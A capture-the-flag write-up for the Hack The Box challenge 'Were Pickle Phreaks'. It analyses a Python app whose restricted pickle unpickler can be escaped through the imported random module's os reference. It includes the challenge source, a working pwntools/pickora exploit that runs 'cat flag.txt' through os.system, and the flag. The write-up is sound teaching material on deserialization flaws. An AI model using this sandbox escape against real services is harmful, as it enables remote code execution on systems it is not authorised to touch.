Skip to content

Latest commit

 

History

History
 
 

[Easy] Were Pickle Phreaks

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

category

  • The Phreaks have rolled a new registration app to recruit new members so they can help them grow and evolve. You, a factionless, see this and think of other plans...
  • The objective is to escape from a pickle sandbox using an insecure imported module.
  • easy
  • HTB{54N17121N9_MODul3_4Nd_No7_n4M3_15_4_5UR3_w4y_7o_937_1n7o_4_p1cKL3_d4y}
  • app.py: The main code of the application
  • sandbox.py: The pickle sandbox

Analysis

Analyzing the app.py source

We are given the source of what seems to be a Phreaks registration member. A global members list is created, and when main is called, an add_existing_members function is added, which adds some predefined members to the list

def add_existing_members():
    members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))

For every member, an object of the Phreaks class is created. Examining the source of the class, every object has 3 attributed, a hacker_handle, a category, and an id. In every member declaration, it seems the id is just randomly chosen. Aside from the above three attributes, a display_info method exists, which just prints the 3 attributes. Below is the Phreaks class

class Phreaks:
    def __init__(self, hacker_handle, category, id):
        self.hacker_handle = hacker_handle
        self.category = category
        self.id = id

    def display_info(self):
        print('================ ==============')
        print(f'Hacker Handle    {self.hacker_handle}')
        print('================ ==============')
        print(f'Category         {self.category}')
        print(f'Id               {self.id}')
        print()

After the object is created, the class object is serialized using the pickle module. However in this application, pickle comes from a sandbox file given to us, along with an unpickle function

from sandbox import unpickle, pickle

We will look into the sandbox file after we are done with the app. After an object is serialized, it's appended to the members list. After we exit that function, we enter an infinite loop, where a menu function is called, which displays different available options to us

def menu():
    print('Phreaks member registration')
    print('1. View current members')
    print('2. Register new member')
    print('3. Exit')

The first option let's us view all the members listed in the members list. It loops through the members, deserializes them with unpickle, and calls the display_info method. It also has a try-except clause in case an invalid phreaks member is provided

def view_members():
    for member in members:
        try:
            member = unpickle(member)
            member.display_info()
        except:
            print('Invalid Phreaks member')

The second option is to register a new member, which might be of importance to us. We just input data, which need to be pickle serialized data, and the data is appended to the members list

def register_member():
    pickle_data = input('Enter new member data: ')
    members.append(pickle_data)

Analyzing the sandbox.py source

Now that we are done with app.py, we can have a look at sandbox.py

from base64 import b64decode, b64encode 
from io import BytesIO
import pickle as _pickle

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']

class RestrictedUnpickler(_pickle.Unpickler):
    def find_class(self, module, name):
        print(module, name)
        if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
            return super().find_class(module, name)
        raise _pickle.UnpicklingError() 

def unpickle(data):
    return RestrictedUnpickler(BytesIO(b64decode(data))).load()
    
def pickle(obj):
    return b64encode(_pickle.dumps(obj))

First off, it seems that data that are pickled and unpickled are encoded and decode respectively with base64. So we should keep that in mind when communicating with the instance. As for how pickle works in the context of our sandbox, it is imported normally, just as _pickle, and the typical .dumps and .load methods are used in their wrappers pickle and unpickle respectively. However unpickle uses the extra RestrictedUnpickler class.

The RestrictedUnpickler inherits from the _pickle.Unpickler class, and just defines the find_class method. If we search for the pickle source code, we can find the find_class method

    def find_class(self, module, name):
        # Subclasses may override this.
        sys.audit('pickle.find_class', module, name)
        if self.proto < 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto >= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:
            return getattr(sys.modules[module], name)

In general, it just seems to import module.name into the python runtime of our python process. It is generally known pickle can import arbitrary modules, since it's the basis upon which pickle deserialization works. The RestrictedUnpickler class in our sandbox essentially hooks the find_class method, so that we can sanitize what is imported. If we search for a bit, we can see it's a known technique for patching pickle documented in the official docs.

In our case, we can import only from __main__ and app, so already we can't import any arbitrary module. The __builtins__ are also restricted. So we have to see if we have something we can work with in the runtime of the target.

Solution

Examining the python environment

As we said, we can import everything form __main__ and app. Since __main__ is just an identifier of the context of a module and has the value of a string, maybe we can look at app, as it can hold more info. Let's just do a print(dir()) to get the necessary info

...
print(dir())
if __name__ == '__main__':
    main()

['Phreaks', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'add_existing_members', 'main', 'members', 'menu', 'pickle', 'random', 'register_member', 'unpickle', 'view_members']

We have a lot of internal and code-defined values. As we already said, __builtins__ is already out of scope. So we need to search for something else. Out of all os these, random is the only external module that's imported, so we can start from there. If we perform dir(random), we can see some interesting internal values

>>> import random
>>> dir(random)
['BPF', 'LOG4', 'NV_MAGICCONST', 'RECIP_BPF', 'Random', 'SG_MAGICCONST', 'SystemRandom', 'TWOPI', '_ONE', '_Sequence', '_Set', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_accumulate', '_acos', '_bisect', '_ceil', '_cos', '_e', '_exp', '_floor', '_index', '_inst', '_isfinite', '_log', '_os', '_pi', '_random', '_repeat', '_sha512', '_sin', '_sqrt', '_test', '_test_generator', '_urandom', '_warn', 'betavariate', 'choice', 'choices', 'expovariate', 'gammavariate', 'gauss', 'getrandbits', 'getstate', 'lognormvariate', 'normalvariate', 'paretovariate', 'randbytes', 'randint', 'random', 'randrange', 'sample', 'seed', 'setstate', 'shuffle', 'triangular', 'uniform', 'vonmisesvariate', 'weibullvariate']

Out of all of these, _os really grabs our attention. If we assign it to a vaiable, we can see it's the actual os module

>>> import random
>>> os = random._os
>>> os
<module 'os' (frozen)>
>>> os.system
<built-in function system>
>>> os.system('whoami')
ckrielle
0

So just like that, we can achieve code execution through the imported random module. Also during research, one can find this module, which let's us compile python pickle scripts. Pickle uses the GLOBAL keyword to import modules, and we can pass any argument to what's imported. Knowing that, we can go ahead and write our exploit.

The codes of 'app.pyandsandbox.py` are presented below respectively:

from sandbox import unpickle, pickle
import random

members = []

class Phreaks:
    def __init__(self, hacker_handle, category, id):
        self.hacker_handle = hacker_handle
        self.category = category
        self.id = id

    def display_info(self):
        print('================ ==============')
        print(f'Hacker Handle    {self.hacker_handle}')
        print('================ ==============')
        print(f'Category         {self.category}')
        print(f'Id               {self.id}')
        print()

def menu():
    print('Phreaks member registration')
    print('1. View current members')
    print('2. Register new member')
    print('3. Exit')

def add_existing_members():
    members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
    members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))

def view_members():
    for member in members:
        try:
            member = unpickle(member)
            member.display_info()
        except:
            print('Invalid Phreaks member')

def register_member():
    pickle_data = input('Enter new member data: ')
    members.append(pickle_data)

def main():
    add_existing_members()
    while True:
        menu()
        try:
            option = int(input('> '))
        except ValueError:
            print('Invalid input')
            print()
            continue
        if option == 1:
            view_members()
        elif option == 2:
            register_member()
        elif option == 3:
            print('Exiting...')
            exit()
        else:
            print('No such option')  
        print()

if __name__ == '__main__':
    main()```

```python
from base64 import b64decode, b64encode 
from io import BytesIO
import pickle as _pickle

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']

class RestrictedUnpickler(_pickle.Unpickler):
    def find_class(self, module, name):
        print(module, name)
        if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
            return super().find_class(module, name)
        raise _pickle.UnpicklingError()
    
def unpickle(data):
    return RestrictedUnpickler(BytesIO(b64decode(data))).load()
    
def pickle(obj):
    return b64encode(_pickle.dumps(obj))
from base64 import b64encode
from pickora import Compiler
from pwn import *

def send_payload(payload):
    payload = b64encode(compiler.compile(payload))
    io.recvuntil(b'> ')
    io.sendline(b'2')
    io.recvuntil(b': ')
    io.sendline(payload)

def get_flag():
    io.recvuntil(b'> ')
    io.sendline(b'1')
    io.recvuntil(b'HTB{')
    flag = io.recvuntil(b'}')
    return b'HTB{' + flag

def pwn():
    send_payload(b"GLOBAL('app', 'random._os.system')('cat flag.txt')")
    flag = get_flag()
    print(flag)

if __name__ == '__main__':
    io = process(['python', 'app.py'])
    compiler = Compiler()
    pwn()